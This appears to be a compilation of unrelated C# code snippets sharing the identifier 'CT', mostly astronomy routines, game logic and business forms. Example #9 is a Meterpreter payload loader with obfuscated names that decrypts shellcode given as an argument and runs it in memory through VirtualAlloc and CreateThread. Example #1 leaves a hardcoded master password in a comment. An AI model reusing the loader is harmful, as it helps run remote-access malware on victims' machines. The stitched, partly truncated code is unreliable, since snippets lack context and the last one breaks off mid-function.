Example #1
0
        public fMain(string[] args)
        {
            InitializeComponent();
            var espackArgs = CT.LoadVars(args);

            //Values.gDatos.DataBase = "Sistemas";//espackArgs.DataBase;
            //Values.gDatos.Server = "192.168.200.7";//espackArgs.Server;
            //Values.gDatos.User = "******";//espackArgs.User;
            //Values.gDatos.Password = "******"; //espackArgs.Password;

            Values.gDatos.DataBase = espackArgs.DataBase;
            Values.gDatos.Server   = espackArgs.Server;
            Values.gDatos.User     = espackArgs.User;
            Values.gDatos.Password = espackArgs.Password;
            Values.gMasterPassword = MasterPassword.Master;
            //Values.gOldMaster = "Y?D6d#b@".ToSecureString();
            Values.gDatos.context_info = MasterPassword.MasterBytes;
            this.Text = string.Format("Sistemas Build {0} - ({1:yyyyMMdd})*", Assembly.GetExecutingAssembly().GetName().Version.ToString(), CT.GetBuildDateTime(Assembly.GetExecutingAssembly()));
            try
            {
                Values.gDatos.Connect();
            } catch (Exception e)
            {
                MessageBox.Show("Error connecting to database: " + e.Message, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit();
            }
            //lets get user position and security level
            using (var _sp = new SP(Values.gDatos, "pUsersGetPositionAndSecurityLevel"))
            {
                try
                {
                    _sp.AddParameterValue("@UserCode", Values.gDatos.User);
                    _sp.Execute();
                    Values.SecurityLevel = ToInt32(_sp.ReturnValues()["@SecurityLevel"]);
                    Values.Position      = _sp.ReturnValues()["@Position"].ToString();
                    Values.FullName      = _sp.ReturnValues()["@FullName"].ToString();
                } catch (Exception ex)
                {
                    MessageBox.Show("Error getting security data: " + ex.Message, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Application.Exit();
                }
            }
            AddStatusStip();
            MessageBox.Show(string.Format("Welcome {0} {1}, your level access is {2}", Values.Position, Values.FullName, Values.SecurityLevel));
            Values.gDatos.Close();
            //settings
            if (!cSettings.SettingFileNameExists)
            {
                fSettings fSettings = new fSettings();
                fSettings.ShowDialog();
            }
            Values.DefaultUserForServers     = cSettings.readSetting("DefaultUserForServers");
            Values.DefaultPasswordForServers = cSettings.readSetting("DefaultPasswordForServers");
        }
Example #2
0
        public static bool DrawEcliptic(RenderContext renderContext, float opacity, Color drawColor)
        {
            Color col = drawColor;

            int year = SpaceTimeController.Now.GetUTCFullYear();

            if (eclipticOverviewLineList == null || year != EclipticYear)
            {
                if (eclipticOverviewLineList != null)
                {
                    eclipticOverviewLineList.Clear();
                    eclipticOverviewLineList = null;
                }

                EclipticYear = year;
                double   obliquity = Coordinates.MeanObliquityOfEcliptic(SpaceTimeController.JNow);
                Matrix3d mat       = Matrix3d.RotationX((-obliquity / 360.0 * (Math.PI * 2)));


                double daysPerYear = 365.25;



                if (DT.IsLeap(year, true))
                {
                    monthDays[1] = 29;

                    daysPerYear = 366;
                }
                else
                {
                    monthDays[1] = 28;
                    daysPerYear  = 365;
                }
                int count = 2 * (int)daysPerYear;
                EclipticCount = (int)daysPerYear;
                double jYear = SpaceTimeController.UtcToJulian(new Date(year, 0, 1, 12, 0, 0));


                int    index = 0;
                double d     = 0;

                eclipticOverviewLineList = new SimpleLineList();
                eclipticOverviewLineList.DepthBuffered = false;
                for (int m = 0; m < 12; m++)
                {
                    int daysThisMonth = (int)monthDays[m];
                    for (int i = 0; i < daysThisMonth; i++)
                    {
                        AstroRaDec sunRaDec = Planets.GetPlanetLocationJD("Sun", jYear);

                        COR sunEcliptic = CT.Eq2Ec(sunRaDec.RA, sunRaDec.Dec, obliquity);

                        d = sunEcliptic.X;

                        double width = .005f;
                        if (i == 0)
                        {
                            width = .01f;
                        }
                        double dd = d;// +180;

                        eclipticOverviewLineList.AddLine(
                            Vector3d.TransformCoordinate(Vector3d.Create((Math.Cos((dd * Math.PI * 2.0) / 360)),
                                                                         width,
                                                                         (Math.Sin((dd * Math.PI * 2.0) / 360))), mat),
                            Vector3d.TransformCoordinate(Vector3d.Create((Math.Cos((dd * Math.PI * 2.0) / 360)),
                                                                         -width,
                                                                         (Math.Sin((dd * Math.PI * 2.0) / 360))), mat)
                            );


                        index++;
                        jYear += 1;
                    }
                    d += monthDays[m];
                }
            }


            eclipticOverviewLineList.DrawLines(renderContext, opacity, drawColor);
            return(true);
        }
Example #3
0
//Static methods

    ///////////////////////////// Implementation //////////////////////////////////

    public static double EclipticLongitude(double JD)
    {
        double rho        = (JD - 2451545) / 365250;
        double rhosquared = rho * rho;
        double rhocubed   = rhosquared * rho;
        double rho4       = rhocubed * rho;
        double rho5       = rho4 * rho;

        //Calculate L0
        int    nL0Coefficients = GFX.g_L0SaturnCoefficients.Length;
        double L0 = 0;
        int    i;

        for (i = 0; i < nL0Coefficients; i++)
        {
            L0 += GFX.g_L0SaturnCoefficients[i].A * Math.Cos(GFX.g_L0SaturnCoefficients[i].B + GFX.g_L0SaturnCoefficients[i].C * rho);
        }

        //Calculate L1
        int    nL1Coefficients = GFX.g_L1SaturnCoefficients.Length;
        double L1 = 0;

        for (i = 0; i < nL1Coefficients; i++)
        {
            L1 += GFX.g_L1SaturnCoefficients[i].A * Math.Cos(GFX.g_L1SaturnCoefficients[i].B + GFX.g_L1SaturnCoefficients[i].C * rho);
        }

        //Calculate L2
        int    nL2Coefficients = GFX.g_L2SaturnCoefficients.Length;
        double L2 = 0;

        for (i = 0; i < nL2Coefficients; i++)
        {
            L2 += GFX.g_L2SaturnCoefficients[i].A * Math.Cos(GFX.g_L2SaturnCoefficients[i].B + GFX.g_L2SaturnCoefficients[i].C * rho);
        }

        //Calculate L3
        int    nL3Coefficients = GFX.g_L3SaturnCoefficients.Length;
        double L3 = 0;

        for (i = 0; i < nL3Coefficients; i++)
        {
            L3 += GFX.g_L3SaturnCoefficients[i].A * Math.Cos(GFX.g_L3SaturnCoefficients[i].B + GFX.g_L3SaturnCoefficients[i].C * rho);
        }

        //Calculate L4
        int    nL4Coefficients = GFX.g_L4SaturnCoefficients.Length;
        double L4 = 0;

        for (i = 0; i < nL4Coefficients; i++)
        {
            L4 += GFX.g_L4SaturnCoefficients[i].A * Math.Cos(GFX.g_L4SaturnCoefficients[i].B + GFX.g_L4SaturnCoefficients[i].C * rho);
        }

        //Calculate L5
        int    nL5Coefficients = GFX.g_L5SaturnCoefficients.Length;
        double L5 = 0;

        for (i = 0; i < nL5Coefficients; i++)
        {
            L5 += GFX.g_L5SaturnCoefficients[i].A * Math.Cos(GFX.g_L5SaturnCoefficients[i].B + GFX.g_L5SaturnCoefficients[i].C * rho);
        }

        double @value = (L0 + L1 * rho + L2 * rhosquared + L3 * rhocubed + L4 * rho4 + L5 * rho5) / 100000000;

        //convert results back to degrees
        @value = CT.M360(CT.R2D(@value));
        return(@value);
    }
Example #4
0
    public void ReturnToBase(bool successful)
    {
        if (successful)
        {//all enemies defeated
            HomeBase.ResourceConMat += ResourceConMat;
            HomeBase.ResourceGold   += ResourceGold;
            HomeBase.ResourceOre    += ResourceOre;
            HomeBase.BaseWeaponInventory.AddRange(WeaponLoot);
            HomeBase.BaseArmorInventory.AddRange(ArmourLoot);

            for (int i = Friends.Count - 1; i >= 0; i--)
            {
                Character temp = null;
                temp = Friends[i];
                Friends.RemoveAt(i);

                HomeBase.TakeCharacter(temp);
                break;
            }
        }
        else
        {
            if (Friends.Count > 0)
            {//Retreat button hit
                //get survivors out
                for (int i = Friends.Count - 1; i >= 0; i--)
                {
                    Character temp = null;
                    temp = Friends[i];
                    Friends.RemoveAt(i);

                    HomeBase.TakeCharacter(temp);
                    break;
                }
                //take home half the stuff you would have gotten on a victory
                HomeBase.ResourceConMat += ResourceConMat / 2;
                HomeBase.ResourceGold   += ResourceGold / 2;
                HomeBase.ResourceOre    += ResourceOre / 2;
                int removeAmount = WeaponLoot.Count / 2;
                while (removeAmount > 0)
                {
                    WeaponLoot.RemoveAt(Random.Range(0, WeaponLoot.Count - 1));
                    removeAmount--;
                }
                HomeBase.BaseWeaponInventory.AddRange(WeaponLoot);


                removeAmount = ArmourLoot.Count / 2;
                while (removeAmount > 0)
                {
                    ArmourLoot.RemoveAt(Random.Range(0, ArmourLoot.Count - 1));
                    removeAmount--;
                }
                HomeBase.BaseArmorInventory.AddRange(ArmourLoot);
            }
            else
            {//everyone's dead
            }
        }
        //stuff that always happens.
        WeaponLoot.Clear();
        ArmourLoot.Clear();
        ResourceConMat = 0; ResourceGold = 0; ResourceOre = 0;
        foreach (CombatTile CT in BattleFieldTiles)
        {
            CT.ChangeState(0);
        }
        foreach (Character friend in Friends)
        {
            friend.MapPosition = new Vector2Int(-1, -1);
        }
        Foes.Clear();
        HomeBase.OnReturnFromCombat();
        ReturnsToMainBase.Toggle();
    }
    public static double LengthOfEllipse(double e, double a)
    {
        double b = a * Math.Sqrt(1 - e * e);

        return(CT.PI() * (3 * (a + b) - Math.Sqrt((a + 3 * b) * (3 * a + b))));
    }
Example #6
0
 public static double TrueObliquityOfEcliptic(double JD)
 {
     return(MeanObliquityOfEcliptic(JD) + CT.DMS2D(0, 0, NutationInObliquity(JD)));
 }
Example #7
0
 // データを取得。なければNULL
 public byte[] GetStageData(CT dwType)
 {
     // TODO: 一から実装し直したほうがよさそうだし、一度全部消すよ。
     throw new NotImplementedException();
 }
Example #8
0
        public fMainInvoicing(string[] args)
        {
            InitializeComponent();
            this.Text = string.Format("Invoicing Build {0} - ({1:yyyyMMdd})*", Assembly.GetExecutingAssembly().GetName().Version.ToString(), CT.GetBuildDateTime(Assembly.GetExecutingAssembly()));
            var espackArgs = CT.LoadVars(args);

            Values.ProjectName     = Assembly.GetCallingAssembly().GetName().Name;
            Values.gDatos.DataBase = espackArgs.DataBase;
            Values.gDatos.Server   = espackArgs.Server;
            Values.gDatos.User     = espackArgs.User;
            Values.gDatos.Password = espackArgs.Password;
        }
Example #9
0
        static void Main(string[] args)
        {
            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.DarkGray;
            Console.WriteLine("NativePayload_Reverse_tcp2 , Payload Decryption tool for Meterpreter Payloads (v2) ");
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Published by Damon Mohammadbagher , Dec 2016");
            Console.ForegroundColor = ConsoleColor.DarkGreen;
            Console.WriteLine();

            Hide.D de = Hide.Decrypt;
            V      v  = Hide.code.b._classs.VirtualAlloc;
            CT     ct = Hide.code.b._classs.CreateThread;
            W      w  = Hide.code.b._classs.WaitForSingleObject;

            try
            {
                // string Payload_Encrypted;
                if (args != null)
                {
                    Hide.code.b._classs.pay_ = args[0].ToString();
                }
                else
                {
                    Hide.code.b._classs.pay_ = "ops";
                }
                string[] Payload_Encrypted_Without_delimiterChar = Hide.code.b._classs.pay_.Split(',');
                Hide.code.a.bt = new byte[Payload_Encrypted_Without_delimiterChar.Length];
                for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
                {
                    Hide.code.b.cr    = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
                    Hide.code.a.bt[i] = Hide.code.b.cr;
                    for (int ii = 0; ii < i; ii++)
                    {
                        Console.Write(".");
                    }
                }
                /// v1
                //UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                //MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                //Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                //IntPtr hThread = IntPtr.Zero;
                //UInt32 threadId = 0;
                //IntPtr pinfo = IntPtr.Zero;
                //// execute native code
                //hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                //WaitForSingleObject(hThread, 0xFFFFFFFF);

                /// v2
                Hide.code.a.ftp = de(Hide.code.a._j_, Hide.code.a.bt);
                Console.WriteLine(" Bingo ;)");
                Hide.code.b.funcAddr = v(0, (UInt32)Hide.code.a.ftp.Length, Hide.hide2.hide3.MMC, Hide.hide2.hide3.PERE);
                Marshal.Copy(Hide.code.a.ftp, 0, (IntPtr)(Hide.code.b.funcAddr), Hide.code.a.ftp.Length);
                Hide.hide2.hide3.ops.ht = ct(0, 0, Hide.code.b.funcAddr, Hide.hide2.hide3.ops.pi, 0, ref Hide.hide2.hide3.ops.ti);
                Hide.hide2.hide3.ops f = new Hide.hide2.hide3.ops();
                for (int i = 0; i < 377; i++)
                {
                    if (i == 373)
                    {
                        w(Hide.hide2.hide3.ops.ht, f.f);

                        break;
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }
Example #10
0
 public void SetStageData(CT dwType, int value)
 {
     // TODO: 新規追加したやつ
     throw new NotImplementedException();
 }
    public static double TruePhase(double k)
    {
        //What will be the return value
        double JD = MeanPhase(k);

        //convert from K to T
        double T  = k / 1236.85;
        double T2 = T * T;
        double T3 = T2 * T;
        double T4 = T3 * T;

        double E  = 1 - 0.002516 * T - 0.0000074 * T2;
        double E2 = E * E;

        double M = CT.M360(2.5534 + 29.10535670 * k - 0.0000014 * T2 - 0.00000011 * T3);

        M = CT.D2R(M);
        double Mdash = CT.M360(201.5643 + 385.81693528 * k + 0.0107582 * T2 + 0.00001238 * T3 - 0.000000058 * T4);

        Mdash = CT.D2R(Mdash);
        double F = CT.M360(160.7108 + 390.67050284 * k - 0.0016118 * T2 - 0.00000227 * T3 + 0.00000001 * T4);

        F = CT.D2R(F);
        double omega = CT.M360(124.7746 - 1.56375588 * k + 0.0020672 * T2 + 0.00000215 * T3);

        omega = CT.D2R(omega);
        double A1 = CT.M360(299.77 + 0.107408 * k - 0.009173 * T2);

        A1 = CT.D2R(A1);
        double A2 = CT.M360(251.88 + 0.016321 * k);

        A2 = CT.D2R(A2);
        double A3 = CT.M360(251.83 + 26.651886 * k);

        A3 = CT.D2R(A3);
        double A4 = CT.M360(349.42 + 36.412478 * k);

        A4 = CT.D2R(A4);
        double A5 = CT.M360(84.66 + 18.206239 * k);

        A5 = CT.D2R(A5);
        double A6 = CT.M360(141.74 + 53.303771 * k);

        A6 = CT.D2R(A6);
        double A7 = CT.M360(207.14 + 2.453732 * k);

        A7 = CT.D2R(A7);
        double A8 = CT.M360(154.84 + 7.306860 * k);

        A8 = CT.D2R(A8);
        double A9 = CT.M360(34.52 + 27.261239 * k);

        A9 = CT.D2R(A9);
        double A10 = CT.M360(207.19 + 0.121824 * k);

        A10 = CT.D2R(A10);
        double A11 = CT.M360(291.34 + 1.844379 * k);

        A11 = CT.D2R(A11);
        double A12 = CT.M360(161.72 + 24.198154 * k);

        A12 = CT.D2R(A12);
        double A13 = CT.M360(239.56 + 25.513099 * k);

        A13 = CT.D2R(A13);
        double A14 = CT.M360(331.55 + 3.592518 * k);

        A14 = CT.D2R(A14);

        //convert to radians
        double kint  = Math.Floor(k);
        double kfrac = k - kint;

        if (kfrac < 0)
        {
            kfrac = 1 + kfrac;
        }
        if (kfrac == 0) //New Moon
        {
            double DeltaJD = -0.40720 * Math.Sin(Mdash) + 0.17241 * E * Math.Sin(M) + 0.01608 * Math.Sin(2 * Mdash) + 0.01039 * Math.Sin(2 * F) + 0.00739 * E * Math.Sin(Mdash - M) + -0.00514 * E * Math.Sin(Mdash + M) + 0.00208 * E2 * Math.Sin(2 * M) + -0.00111 * Math.Sin(Mdash - 2 * F) + -0.00057 * Math.Sin(Mdash + 2 * F) + 0.00056 * E * Math.Sin(2 * Mdash + M) + -0.00042 * Math.Sin(3 * Mdash) + 0.00042 * E * Math.Sin(M + 2 * F) + 0.00038 * E * Math.Sin(M - 2 * F) + -0.00024 * E * Math.Sin(2 * Mdash - M) + -0.00017 * Math.Sin(omega) + -0.00007 * Math.Sin(Mdash + 2 * M) + 0.00004 * Math.Sin(2 * Mdash - 2 * F) + 0.00004 * Math.Sin(3 * M) + 0.00003 * Math.Sin(Mdash + M - 2 * F) + 0.00003 * Math.Sin(2 * Mdash + 2 * F) + -0.00003 * Math.Sin(Mdash + M + 2 * F) + 0.00003 * Math.Sin(Mdash - M + 2 * F) + -0.00002 * Math.Sin(Mdash - M - 2 * F) + -0.00002 * Math.Sin(3 * Mdash + M) + 0.00002 * Math.Sin(4 * Mdash);
            JD += DeltaJD;
        }
        else if ((kfrac == 0.25) || (kfrac == 0.75)) //First Quarter or Last Quarter
        {
            double DeltaJD = -0.62801 * Math.Sin(Mdash) + 0.17172 * E * Math.Sin(M) + -0.01183 * E * Math.Sin(Mdash + M) + 0.00862 * Math.Sin(2 * Mdash) + 0.00804 * Math.Sin(2 * F) + 0.00454 * E * Math.Sin(Mdash - M) + 0.00204 * E2 * Math.Sin(2 * M) + -0.00180 * Math.Sin(Mdash - 2 * F) + -0.00070 * Math.Sin(Mdash + 2 * F) + -0.00040 * Math.Sin(3 * Mdash) + -0.00034 * E * Math.Sin(2 * Mdash - M) + 0.00032 * E * Math.Sin(M + 2 * F) + 0.00032 * E * Math.Sin(M - 2 * F) + -0.00028 * E2 * Math.Sin(Mdash + 2 * M) + 0.00027 * E * Math.Sin(2 * Mdash + M) + -0.00017 * Math.Sin(omega) + -0.00005 * Math.Sin(Mdash - M - 2 * F) + 0.00004 * Math.Sin(2 * Mdash + 2 * F) + -0.00004 * Math.Sin(Mdash + M + 2 * F) + 0.00004 * Math.Sin(Mdash - 2 * M) + 0.00003 * Math.Sin(Mdash + M - 2 * F) + 0.00003 * Math.Sin(3 * M) + 0.00002 * Math.Sin(2 * Mdash - 2 * F) + 0.00002 * Math.Sin(Mdash - M + 2 * F) + -0.00002 * Math.Sin(3 * Mdash + M);
            JD += DeltaJD;

            double W = 0.00306 - 0.00038 * E * Math.Cos(M) + 0.00026 * Math.Cos(Mdash) - 0.00002 * Math.Cos(Mdash - M) + 0.00002 * Math.Cos(Mdash + M) + 0.00002 * Math.Cos(2 * F);
            if (kfrac == 0.25) //First quarter
            {
                JD += W;
            }
            else
            {
                JD -= W;
            }
        }
        else if (kfrac == 0.5) //Full Moon
        {
            double DeltaJD = -0.40614 * Math.Sin(Mdash) + 0.17302 * E * Math.Sin(M) + 0.01614 * Math.Sin(2 * Mdash) + 0.01043 * Math.Sin(2 * F) + 0.00734 * E * Math.Sin(Mdash - M) + -0.00514 * E * Math.Sin(Mdash + M) + 0.00209 * E2 * Math.Sin(2 * M) + -0.00111 * Math.Sin(Mdash - 2 * F) + -0.00057 * Math.Sin(Mdash + 2 * F) + 0.00056 * E * Math.Sin(2 * Mdash + M) + -0.00042 * Math.Sin(3 * Mdash) + 0.00042 * E * Math.Sin(M + 2 * F) + 0.00038 * E * Math.Sin(M - 2 * F) + -0.00024 * E * Math.Sin(2 * Mdash - M) + -0.00017 * Math.Sin(omega) + -0.00007 * Math.Sin(Mdash + 2 * M) + 0.00004 * Math.Sin(2 * Mdash - 2 * F) + 0.00004 * Math.Sin(3 * M) + 0.00003 * Math.Sin(Mdash + M - 2 * F) + 0.00003 * Math.Sin(2 * Mdash + 2 * F) + -0.00003 * Math.Sin(Mdash + M + 2 * F) + 0.00003 * Math.Sin(Mdash - M + 2 * F) + -0.00002 * Math.Sin(Mdash - M - 2 * F) + -0.00002 * Math.Sin(3 * Mdash + M) + 0.00002 * Math.Sin(4 * Mdash);
            JD += DeltaJD;
        }
        else
        {
            Debug.Assert(false);
        }

        //Additional corrections for all phases
        double DeltaJD2 = 0.000325 * Math.Sin(A1) + 0.000165 * Math.Sin(A2) + 0.000164 * Math.Sin(A3) + 0.000126 * Math.Sin(A4) + 0.000110 * Math.Sin(A5) + 0.000062 * Math.Sin(A6) + 0.000060 * Math.Sin(A7) + 0.000056 * Math.Sin(A8) + 0.000047 * Math.Sin(A9) + 0.000042 * Math.Sin(A10) + 0.000040 * Math.Sin(A11) + 0.000037 * Math.Sin(A12) + 0.000035 * Math.Sin(A13) + 0.000023 * Math.Sin(A14);

        JD += DeltaJD2;

        return(JD);
    }
Example #12
0
 static void Main()
 {
     CT ct = new CT();
     System.Console.WriteLine(ct.Value);
 }
        private async void btadd_Click(object sender, RoutedEventArgs e)
        {
            if (tbtenkh.Text == "")
            {
                MessageBox.Show("Tên Khách Hàng Không Được Trống");
                return;
            }
            else if (tbdiachi.Text == "")
            {
                MessageBox.Show("Địa Chỉ Khách Hàng Không Được Trống");
                return;
            }
            else if (tbsdt.Text == "")
            {
                MessageBox.Show("SĐT Khách Hàng Không Được Trống");
                return;
            }
            else if (tblngaydat.Text == "")
            {
                MessageBox.Show("Ngay Đạt Không Được Trống");
                return;
            }
            else if (view.Count == 0)
            {
                MessageBox.Show("Hóa Đơn Phải Có Ít Nhất 1 SP");
                return;
            }
            using (var db = new QuanLyNongSanDBEntities())
            {
                this.IsEnabled = false;
                var creen = new ConfirmWindow($"Ban Co Chac Muon Edit Hoa Don {HD.Id}");
                creen.ShowDialog();
                if (creen.DialogResult == true)
                {
                    var result = db.Invoices.SingleOrDefault(b => b.Id == HD.Id);
                    if (result != null)
                    {
                        result.TenKH    = tbtenkh.Text;
                        result.DiaChiKH = tbdiachi.Text;
                        result.SDT      = tbsdt.Text;
                        UpdateStatus(result);
                        result.TongTien = double.Parse(tbltongtienhoadon.Text);
                        foreach (var CT in result.InvoiceDetails)
                        {
                            foreach (var ct in view)
                            {
                                if (ct.Id == CT.Id && CT.SoLuong != ct.SoLuong)
                                {
                                    CT.SoLuong = ct.SoLuong;
                                    CT.TinhTongGia();
                                }
                            }
                        }
                        foreach (var CT in insert)
                        {
                            InvoiceDetail newDetail = new InvoiceDetail()
                            {
                                IdInvoice = CT.IdInvoice,
                                IdProduct = CT.IdProduct,
                                SoLuong   = CT.SoLuong,
                                TongTien  = CT.TongTien,
                                GiaBan    = CT.GiaBan,
                            };
                            result.InvoiceDetails.Add(newDetail);
                            await db.SaveChangesAsync();
                        }
                        foreach (var delete in delete)
                        {
                            var dele = db.InvoiceDetails.Find(delete.Id);
                            db.InvoiceDetails.Remove(dele);
                            await db.SaveChangesAsync();
                        }
                    }
                    db.SaveChanges();
                }
                this.IsEnabled = true;
            }

            var dba = new QuanLyNongSanDBEntities();

            HD = dba.Invoices.Find(HD.Id);
            datagridgiohang.ItemsSource = HD.InvoiceDetails.ToList();

            stackpanelshow.Height = stackpaneledit.Height;
            this.Width            = 800;
            stackpaneledit.Height = 0;
            btedit.Content        = "Edit";
            btapply.IsEnabled     = false;

            DataContext = null;
            DataContext = HD;
        }
Example #14
0
    public static CAAParabolicObjectDetails Calculate(double JD, CAAParabolicObjectElements elements)
    {
        double Epsilon = CAANutation.MeanObliquityOfEcliptic(elements.JDEquinox);

        double JD0 = JD;

        //What will be the return value
        CAAParabolicObjectDetails details = new CAAParabolicObjectDetails();

        Epsilon = CT.D2R(Epsilon);
        double omega = CT.D2R(elements.omega);
        double w     = CT.D2R(elements.w);
        double i     = CT.D2R(elements.i);

        double sinEpsilon = Math.Sin(Epsilon);
        double cosEpsilon = Math.Cos(Epsilon);
        double sinOmega   = Math.Sin(omega);
        double cosOmega   = Math.Cos(omega);
        double cosi       = Math.Cos(i);
        double sini       = Math.Sin(i);

        double F = cosOmega;
        double G = sinOmega * cosEpsilon;
        double H = sinOmega * sinEpsilon;
        double P = -sinOmega * cosi;
        double Q = cosOmega * cosi * cosEpsilon - sini * sinEpsilon;
        double R = cosOmega * cosi * sinEpsilon + sini * cosEpsilon;
        double a = Math.Sqrt(F * F + P * P);
        double b = Math.Sqrt(G * G + Q * Q);
        double c = Math.Sqrt(H * H + R * R);
        double A = Math.Atan2(F, P);
        double B = Math.Atan2(G, Q);
        double C = Math.Atan2(H, R);

        C3D SunCoord = CAASun.EquatorialRectangularCoordinatesAnyEquinox(JD, elements.JDEquinox);

        for (int j = 0; j < 2; j++)
        {
            double W = 0.03649116245 / (elements.q * Math.Sqrt(elements.q)) * (JD0 - elements.T);
            double s = CalculateBarkers(W);
            double v = 2 * Math.Atan(s);
            double r = elements.q * (1 + s * s);
            double x = r * a * Math.Sin(A + w + v);
            double y = r * b * Math.Sin(B + w + v);
            double z = r * c * Math.Sin(C + w + v);

            if (j == 0)
            {
                details.HeliocentricRectangularEquatorial.X = x;
                details.HeliocentricRectangularEquatorial.Y = y;
                details.HeliocentricRectangularEquatorial.Z = z;

                //Calculate the heliocentric ecliptic coordinates also
                double u    = omega + v;
                double cosu = Math.Cos(u);
                double sinu = Math.Sin(u);

                details.HeliocentricRectangularEcliptical.X = r * (cosOmega * cosu - sinOmega * sinu * cosi);
                details.HeliocentricRectangularEcliptical.Y = r * (sinOmega * cosu + cosOmega * sinu * cosi);
                details.HeliocentricRectangularEcliptical.Z = r * sini * sinu;

                details.HeliocentricEclipticLongitude = Math.Atan2(y, x);
                details.HeliocentricEclipticLongitude = CT.M24(CT.R2D(details.HeliocentricEclipticLongitude) / 15);
                details.HeliocentricEclipticLatitude  = Math.Asin(z / r);
                details.HeliocentricEclipticLatitude  = CT.R2D(details.HeliocentricEclipticLatitude);
            }

            double psi   = SunCoord.X + x;
            double nu    = SunCoord.Y + y;
            double sigma = SunCoord.Z + z;

            double Alpha = Math.Atan2(nu, psi);
            Alpha = CT.R2D(Alpha);
            double Delta = Math.Atan2(sigma, Math.Sqrt(psi * psi + nu * nu));
            Delta = CT.R2D(Delta);
            double Distance = Math.Sqrt(psi * psi + nu * nu + sigma * sigma);

            if (j == 0)
            {
                details.TrueGeocentricRA          = CT.M24(Alpha / 15);
                details.TrueGeocentricDeclination = Delta;
                details.TrueGeocentricDistance    = Distance;
                details.TrueGeocentricLightTime   = ELL.DistanceToLightTime(Distance);
            }
            else
            {
                details.AstrometricGeocenticRA           = CT.M24(Alpha / 15);
                details.AstrometricGeocentricDeclination = Delta;
                details.AstrometricGeocentricDistance    = Distance;
                details.AstrometricGeocentricLightTime   = ELL.DistanceToLightTime(Distance);

                double RES = Math.Sqrt(SunCoord.X * SunCoord.X + SunCoord.Y * SunCoord.Y + SunCoord.Z * SunCoord.Z);

                details.Elongation = CT.R2D(Math.Acos((RES * RES + Distance * Distance - r * r) / (2 * RES * Distance)));
                details.PhaseAngle = CT.R2D(Math.Acos((r * r + Distance * Distance - RES * RES) / (2 * r * Distance)));
            }

            if (j == 0) //Prepare for the next loop around
            {
                JD0 = JD - details.TrueGeocentricLightTime;
            }
        }

        return(details);
    }
Example #15
0
 public string GetStageDataString(CT dwType)
 {
     // TODO: 新規追加したやつ
     throw new NotImplementedException();
 }
		public AxisOrientationConstraint(CT consType, Vector3 axis, float angleMin, float angleMax)
		{
			this.consType = consType;
			this.axis = axis;
			
			// Set the min and max rotations in degrees
			this.angleMin = angleMin;
			this.angleMax = angleMax;
		}
Example #17
0
 public int GetStageDataInt(CT dwType, int def = 0)
 {
     // TODO: 新規追加したやつ
     throw new NotImplementedException();
 }
Example #18
0
    public static EPD Calculate(double JD, EO @object)
    {
        //What will the the return value
        EPD details = new EPD();

        double JD0   = JD;
        double L0    = 0;
        double B0    = 0;
        double R0    = 0;
        double cosB0 = 0;

        if (@object != EO.SUN)
        {
            L0    = CAAEarth.EclipticLongitude(JD0);
            B0    = CAAEarth.EclipticLatitude(JD0);
            R0    = CAAEarth.RadiusVector(JD0);
            L0    = CT.D2R(L0);
            B0    = CT.D2R(B0);
            cosB0 = Math.Cos(B0);
        }


        //Calculate the initial values
        double L = 0;
        double B = 0;
        double R = 0;

        double Lrad;
        double Brad;
        double cosB;
        double cosL;
        double x;
        double y;
        double z;
        bool   bRecalc      = true;
        bool   bFirstRecalc = true;
        double LPrevious    = 0;
        double BPrevious    = 0;
        double RPrevious    = 0;

        while (bRecalc)
        {
            switch (@object)
            {
            case EO.SUN:
            {
                L = CAASun.GeometricEclipticLongitude(JD0);
                B = CAASun.GeometricEclipticLatitude(JD0);
                R = CAAEarth.RadiusVector(JD0);
                break;
            }

            case EO.MERCURY:
            {
                L = CAAMercury.EclipticLongitude(JD0);
                B = CAAMercury.EclipticLatitude(JD0);
                R = CAAMercury.RadiusVector(JD0);
                break;
            }

            case EO.VENUS:
            {
                L = CAAVenus.EclipticLongitude(JD0);
                B = CAAVenus.EclipticLatitude(JD0);
                R = CAAVenus.RadiusVector(JD0);
                break;
            }

            case EO.MARS:
            {
                L = CAAMars.EclipticLongitude(JD0);
                B = CAAMars.EclipticLatitude(JD0);
                R = CAAMars.RadiusVector(JD0);
                break;
            }

            case EO.JUPITER:
            {
                L = CAAJupiter.EclipticLongitude(JD0);
                B = CAAJupiter.EclipticLatitude(JD0);
                R = CAAJupiter.RadiusVector(JD0);
                break;
            }

            case EO.SATURN:
            {
                L = CAASaturn.EclipticLongitude(JD0);
                B = CAASaturn.EclipticLatitude(JD0);
                R = CAASaturn.RadiusVector(JD0);
                break;
            }

            case EO.URANUS:
            {
                L = CAAUranus.EclipticLongitude(JD0);
                B = CAAUranus.EclipticLatitude(JD0);
                R = CAAUranus.RadiusVector(JD0);
                break;
            }

            case EO.NEPTUNE:
            {
                L = CAANeptune.EclipticLongitude(JD0);
                B = CAANeptune.EclipticLatitude(JD0);
                R = CAANeptune.RadiusVector(JD0);
                break;
            }

            case EO.PLUTO:
            {
                L = CAAPluto.EclipticLongitude(JD0);
                B = CAAPluto.EclipticLatitude(JD0);
                R = CAAPluto.RadiusVector(JD0);
                break;
            }

            default:
            {
                Debug.Assert(false);
                break;
            }
            }

            if (!bFirstRecalc)
            {
                bRecalc   = ((Math.Abs(L - LPrevious) > 0.00001) || (Math.Abs(B - BPrevious) > 0.00001) || (Math.Abs(R - RPrevious) > 0.000001));
                LPrevious = L;
                BPrevious = B;
                RPrevious = R;
            }
            else
            {
                bFirstRecalc = false;
            }



            //Calculate the new value
            if (bRecalc)
            {
                double distance = 0;
                if (@object != EO.SUN)
                {
                    Lrad     = CT.D2R(L);
                    Brad     = CT.D2R(B);
                    cosB     = Math.Cos(Brad);
                    cosL     = Math.Cos(Lrad);
                    x        = R * cosB * cosL - R0 * cosB0 * Math.Cos(L0);
                    y        = R * cosB * Math.Sin(Lrad) - R0 * cosB0 * Math.Sin(L0);
